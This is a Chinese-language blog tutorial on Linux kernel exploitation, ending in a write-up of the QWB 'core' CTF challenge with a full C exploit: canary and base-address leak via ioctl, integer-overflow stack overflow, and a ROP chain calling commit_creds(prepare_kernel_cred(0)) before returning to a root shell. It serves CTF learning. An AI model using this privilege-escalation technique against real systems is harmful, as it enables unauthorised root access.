Kernel Pwn Rop 小结

发布于 2020-03-29  115 次阅读


Kernel PWN 介绍 & ROP

以前以为 kernel 是个多么深不可测的东西,直到我真正接触它之后,发现它也仅仅是一个功能复杂的软件而已,最近也学习了一些关于内核pwn的知识,整理后发出,也包括我自己学习过程中遇到的各种坑点,希望能对大家有所帮助。

什么是kernel

kernel 是一个软件,它负责跟底层硬件、cpu、memory 进行通信,可以实现用户态程序所不能达到的功能,同时,用户态的程序也运行在内核之上。

Snipaste_2020-03-29_00-24-42.png

Ring Model

intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。

Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。

大多数的现代操作系统只使用了 Ring 0 和 Ring 3。

kernel与用户态程序的区别

如果一个用户态的程序想要拥有root权限,必须由内核赋予,内核记录了每个进程的权限;所以,我们即便pwn到了一个用户的shell,它也不一定有足够的权限来执行程序,也没有办法在用户态为程序提权。

但是在kernel层的控制流劫持,可以让我们进行内核提权,从而拿到程序的最高管理员权限。这也是kernel_pwn的目的之一:内核提权。

如何调用内核

内核模块用被编译为了 .ko 文件,它会在系统启动之后进行加载,等待用户态程序调用(<code>ioctl</code><code>)它时,从 </code>init_module<code> 函数进入,从 </code>exit_core 函数退出。

fd = open("/proc/xxx.ko", O_RDWR);
ioctl(fd, request,...);

内核态与用户态的状态切换

user_space -> kernel

当发生 系统调用产生异常外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:

  1. 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
  3. 通过 push 保存各寄存器值,具体的 代码 如下:
  4. 通过汇编指令判断是否为 x32_abi
  5. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

kernel -> user_space

退出时,流程如下:

  1. 通过 swapgs 恢复 GS 值。
  2. 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)。

struct cred

what

kernel 中记录了每个进程的权限,而这个信息就存放在名为 cred 的结构体中,修改该结构体也就修改了进程权限。

cred 结构体会在进程刚刚打开的时候申请内存并且创建,所以是有可能通过条件竞争进行控制的。

这里有 cred 的详细定义

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
} __randomize_layout;

how

  1. 通过条件竞争对 cred 结构体进行修改,把其中的 gid, uid 修改为0即可。
  2. 通过 commit_creds(prepare_kernel_cred(0)) 直接进行提权,这个方法利用rop就可以达到。

如何开始

qemu

qemu 是必备软件,直接 apt 安装即可,也可源码安装,不过较为复杂。

运行环境

CTF 一般会提供三种文件:

  1. start.sh 启动脚本

    其中要注意以下的参数:

    1. -kernel ./bzImage
    2. -initrd ./rootfs.cpio
    3. kaslr 决定镜像是否开启地址随机化。
    4. smep 是否允许内核代码跳至用户代码区执行(这个是ret2user的利用原理,开启smep之后该利用方式失效),是对内核程序的一种保护机制。
    5. -gdb tcp::1234 gdb调试选项(不必加 -S 参数,否则内核会在启动时便开始等待 gdb 的注入)
  2. bzImage 内核镜像

    这是内核打包后的镜像,要对其进行分析,需要先使用 vmlinux-extract 进行解包得到 vmlinux 可用于寻找 ROPgadget。

    ./extract-vmlinux ./bzImage > vmlinux
  3. rootfs.cpio 文件系统镜像

    每次修改 exp 之后需要更新。rootfs.cpio 解压之后,可以得到所有文件,其中根目录有 init 文件,是虚拟机的启动脚本。

如何调试

假如我完成了exp,我应该如何进行调试呢?

  1. 将 exp 复制进文件夹并打包

    文件夹指的是你把内核文件系统解包后所位于的位置

    find . | cpio -o -H newc | gzip > ./rootfs.cpio

    再将文件镜像复制进启动脚本的目录下即可。

    copy rootfs.cpio ..
  2. 从启动脚本启动虚拟机。

  3. lsmod (在qemu中),这一步是为了获取内核模块的基地址,以便为 gdb 添加符号表。(如果基地址为全零,则需要先把内核调为root权限)。

    Snipaste_2020-03-29_01-28-44.png

  4. gdb 设置

    1. 设置架构

      set architecture i386:x86-64:intel

      否则后续调试会出现 instruction too long 的提示。

    2. 添加符号表

      add-symbol-file xxx.ko 0xffffffffc00c3000

      现在就可以对内核模块的符号进行引用了。

    3. 连接 虚拟机

      target remote localhost:1234

      利用符号表下断点就可以开始调试了。

qwb-core

qwb-core.tar.gz

core.ko

查看 core.ko,发现有三种功能

1.png

  1. 向用户输出数据。

2.png

  1. 改变 off 的值,经过观察,这里是改变的 read 函数源地址的偏移。

  2. name 地址处复制 64字节长度的内存到局部变量 v2 中去。

4.png

这里我们可以看到,要想 v2 变量溢出,就得使长度大于 63 ,而大于 63 的条件却被 if 判断过滤了。我们观察到 qmemcpy 处 a1 的类型为 int16 ,这里就是一个整数溢出,通过传入一个负数长度,我们就可以绕过 if 判断。

  1. 直接向程序输入数据

    这个不需要 ioctl 函数,直接 write 即可,数据会保存到 name 变量

    3.png

思路分析

模块开启了 canary

Snipaste_2020-03-29_12-04-23.png

  1. 通过 read 泄露程序的 canaryvmlinux_base
  2. 利用整数溢出向程序 write 长度超过 64 的 payload,让程序达到ROP的效果。

寻找 vmlinux_base 是一个比较艰难的过程,就是在 canary 之后的地址空间中寻找前缀与 vmlinux 相同的地址数据,根据这个来确定 vmlinux_base 。(大概就是通过真实地址寻找 libc 基址的过程)。

补充: vmlinux_basemodule_base 拥有不同的基址,如果要使用 .ko 中的 gadget,需要同时泄露 module_base 才行。

exp

因为 kernel pwn 都是使用 c语言编写脚本,所以大多数的内存可以通过 exp 直接访问到,还是比用户态要方便很多。

与用户态比较不同的是,我们在返回用户态弹shell 之前,必须要恢复现场,相应的,也要在一开始就保存现场,在程序开始时执行以下代码,保存现场。

unsigned long user_cs, user_ss, user_eflags, user_sp;
void save_status()
{
    asm(
           "movq %%cs, %0\n"
           "movq %%ss, %1\n"
           "movq %%rsp, %3\n"
           "pushfq\n"
           "popq %2\n"
           :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
           :
           : "memory"
    );
}

当发生系统调用时,进入内核态之前,首先通过 swapgs指令将 gs 寄存器值与某个特定位置切换(显然回来的时候也一样)、然后把用户栈顶esp存到独占变量同时也将独占变量里存的内核栈顶给 esp(显然回来的时候也一样)、最后push各寄存器值(由上一条知是存在内核栈里了),这样保存现场的工作就完成了。

系统调用执行完了以后就得回用户态,首先 swapgs 恢复 gs ,然后执行 iretq 恢复用户空间,此处需要注意的是: iretq 需要给出用户空间的一些信息 (CS, eflags/rflags, esp/rsp 等) ,这些信息在哪的?就是内核栈!想想当时的push啊!

而在 rop 提权完成之后,需要在后面加上如下 payload,以达到恢复现场的目的。

    rop[cnt++] = swapgs; //恢复gs寄存器
    rop[cnt++] = 0x233;
    rop[cnt++] = iretq; //IRET(interrupt return)中断返回,中断服务程序的最后一条指令。 
    rop[cnt++] = (size_t)getshell; //返回shell的地址
 //以下都是还原标志寄存器、段寄存器的信息
    rop[cnt++] = user_cs; 
    rop[cnt++] = user_eflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;

完整exp:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

void getshell(){
    system("/bin/sh");
    exit(0);
}

void set_off(int fd, long long size){
    ioctl(fd, 0x6677889C, size);
}

void core_read(int fd, char *buf){
    ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, long long size){
    ioctl(fd, 0x6677889A, size);
}

unsigned long user_cs, user_ss, user_eflags, user_sp;
void save_status()
{
    asm(
           "movq %%cs, %0\n"
           "movq %%ss, %1\n"
           "movq %%rsp, %3\n"
           "pushfq\n"
           "popq %2\n"
           :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
           :
           : "memory"
    );
}

int main(){
    save_status();
    int fd;
    char buf[0x50];

    fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        printf("error while opening core");
        exit(0);
    }

    int off_set = 0x40;
    set_off(fd, off_set);
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    size_t vm_module_base = ((size_t *)buf)[2] - 0x19b;
    size_t vm_base = ((size_t *)buf)[4] - 0x1dd6d1;
    printf("[*] canary: %p\n",canary);
    printf("[*] vm_base: %p\n",vm_base);

    size_t commit_creds = vm_base + 0x9c8e0;
    size_t prepare_kernel_cred = vm_base + 0x9cce0;
    size_t pop_rdi = vm_base + 0xb2f;
    size_t mov_rdi_rax_pop_jmp = vm_base + 0x532471;
    // mov rdi, rax ; pop rbp ; jmp rcx

    size_t pop_rcx = vm_base + 0x21e53;
    size_t pop_rdx = vm_base + 0xa0f49;
    size_t ret = vm_base + 0x1cc;
    size_t swapgs = vm_module_base + 0x0d6;
    size_t iretq = vm_base + 0x50ac2;

    size_t rop[50];
    int cnt = 8;
    rop[cnt++] = canary;
    rop[cnt++] = 0x233;
    rop[cnt++] = pop_rdi;
    rop[cnt++] = 0;
    rop[cnt++] = prepare_kernel_cred;
    rop[cnt++] = pop_rcx;
    rop[cnt++] = ret;
    rop[cnt++] = mov_rdi_rax_pop_jmp;
    rop[cnt++] = 0x233;
    rop[cnt++] = commit_creds;
    rop[cnt++] = swapgs;
    rop[cnt++] = 0x233;
    rop[cnt++] = iretq;
    rop[cnt++] = (size_t)getshell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_eflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
    rop[cnt++] = 0;

    write(fd, rop, 8*30);
    core_copy_func(fd, 0xf000000000000000+ 8*30);
}

总结

内核pwn的主要重点是对提权方法的熟悉,因为其运用的大多数知识都是来自于用户态pwn的。并且我们需要对用户和内核态切换过程非常熟练,才能构造出正确的payload。

参考资料:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/

https://www.anquanke.com/post/id/172216

https://bbs.pediy.com/thread-247054.htm (其中提到了很多坑点,值得一看)

http://p4nda.top/2018/07/13/ciscn2018-core/

https://blog.csdn.net/weixin_41918450/article/details/82855065

https://xz.aliyun.com/t/4529#toc-4(关于tty_opera的利用)


CTFer|NOIPer|CSGO|摸鱼|菜鸡